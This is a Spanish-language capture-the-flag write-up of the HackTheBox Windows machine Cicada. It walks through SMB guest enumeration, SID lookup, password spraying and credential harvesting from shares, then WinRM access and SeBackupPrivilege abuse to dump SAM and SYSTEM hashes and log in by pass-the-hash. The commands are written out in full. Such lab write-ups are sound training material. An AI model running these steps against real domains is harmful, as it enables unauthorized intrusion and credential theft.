Saltar al contenido

Cicada - HackTheBox

HackTheBox Easy ES 3 min read

Cicada es una máquina Windows clasificada como «Fácil» en HackTheBox, centrada en Active Directory. El recorrido va desde una enumeración de SMB con sesión de invitado y un poco de password spraying, hasta comprometer el dominio abusando de SeBackupPrivilege para volcar los hashes del sistema.

Portscan

Se realiza el escaneo de puertos con nmap.

Terminal window
nmap -p- --min-rate 1500 -n -Pn -vvv --open 10.129.66.37 -oN 1stScan

User Flag

Tiene abierto el 445, que es SMB, así que probamos enumerar los recursos compartidos

Terminal window
nxc smb 10.129.66.37

Se añade el dominio al /etc/hosts Luego se intentan ver los recursos compartidos, sin autenticación y posteriormente con un usuario guest.

Terminal window
# Sin autenticación
nxc smb 10.129.66.37 --shares
# Usuario guest
nxc smb 10.129.66.37 -u 'guest' -p '' --shares

Con el usuario guest tenemos permisos de lectura en un recurso compartido HR, así que podemos intentar ver su contenido con smbclient y encontrar algo interesante.

Dentro de este recurso se encontró un archivo Notice from HR.txt, el cual descargamos.

Terminal window
smbclient //10.129.66.37/HR -U 'guest'%

Dentro de este archivo se encuentra una nota con una password Cicada$M6Corpb*@Lp#nZp!8, que posiblemente podría ser usada en algún usuario.

Ahora era necesario obtener el usuario al que pertenece esta contraseña, para esto se usó impacket-lookupsid, que permite consultar el servicio LSARPC del DC y obtener nombres asociados a los SID de usuarios y grupos:

Terminal window
impacket-lookupsid 'cicada.htb/guest'@cicada.htb -no-pass

Se usa -no-pass para no usar una contraseña en la autenticación, ya que el dominio permite null sessions mediante el usuario guest. La herramienta devuelve los grupos y usuarios válidos encontrados, ahora se puede filtrar y crear una wordlist de solo usuarios con los que probar la contraseña encontrada anteriormente. Usando nxc se realizó un spraying a los usuarios obtenidos, teniendo como resultado que esa contraseña le pertenece al usuario michael.wrightson.

Terminal window
nxc smb 10.129.66.37 -u users.txt -p 'Cicada$M6Corpb*@Lp#nZp!8'

Con las credenciales actuales, no podemos enumerar recursos compartidos nuevos, pero se realizó una enumeración de usuarios.

Terminal window
nxc smb cicada.htb -u michael.wrightson -p 'Cicada$M6Corpb*@Lp#nZp!8' --users

Los resultados nos arrojaron un usuario david.orelious y en su descripción se muestra un mensaje que contiene su posible contraseña aRt$Lp#7t*VQ!3 . Con este nuevo usuario fue posible enumerar un nuevo recurso compartido, llamado DEV.

Terminal window
nxc smb cicada.htb -u david.orelious -p 'aRt$Lp#7t*VQ!3' --shares

Para explorar este recurso, de nuevo usamos smbclient

Terminal window
smbclient //cicada.htb/DEV -U 'david.orelious%aRt$Lp#7t*VQ!3'

Dentro de este recurso compartido, se encontró un archivo .ps1, así que se procedió a descargar. El archivo contenía lo que al parecer son otras credenciales, ahora las del usuario emily.oscars, junto con la contraseña Q!3@Lp#M6b*7t*Vt. Por fin estas credenciales sirvieron para acceder con usa sesión de powershell remota (WinRM), usando evil-winrm y las credenciales previamente encontradas.

Terminal window
evil-winrm -i cicada.htb -u emily.oscars -p 'Q!3@Lp#M6b*7t*Vt'

Una vez dentro de la máquina con este usuario, ya podemos ubicar su directorio Desktop y encontrar la flag de user.

Privesc

Revisando los privilegios que tiene el usuario actual, notamos que cuenta con SeBackupPrivilege, lo cual nos permite leer cualquier archivo del sistema, sin importar permisos o propietario, ya que su propósito principal es que los servicios de backup puedan copiar todo el sistema.

Terminal window
whoami /priv

Por lo tanto, se realiza la copia de archivos protegidos usando reg para manipular el registro del sistema. Copiamos el SAM y el SYSTEM, ya que con estos podemos extraer los hashes de las passwords.

Terminal window
reg save hklm\sam .\SAM
reg save hklm\system .\SYSTEM

Ahora descargamos estos archivos a la máquina atacante.

Terminal window
download SAM
download SYSTEM

Ahora con impacket-secretsdump y los archivos descargados podemos intentar obtener los hashes.

Terminal window
impacket-secretsdump -sam SAM -system SYSTEM LOCAL

Logramos obtener los hashes del usuario Administrator, así que podemos realizar un Pass-The-Hash para entrar con evil-winrm.

Terminal window
evil-winrm -i cicada.htb -u administrator -H '2b87e7c93a3e8a0ea4a581937016f341'

Logramos obtener acceso a la victima siendo administradores y podemos leer la flag de root.

Conclusiones

Con esto completamos Cicada, obteniendo las flags de user y root. Una máquina ideal para practicar la enumeración de SMB con sesiones nulas, el password spraying y el abuso de SeBackupPrivilege para extraer los hashes del SAM y el SYSTEM. ¡Vamos por más!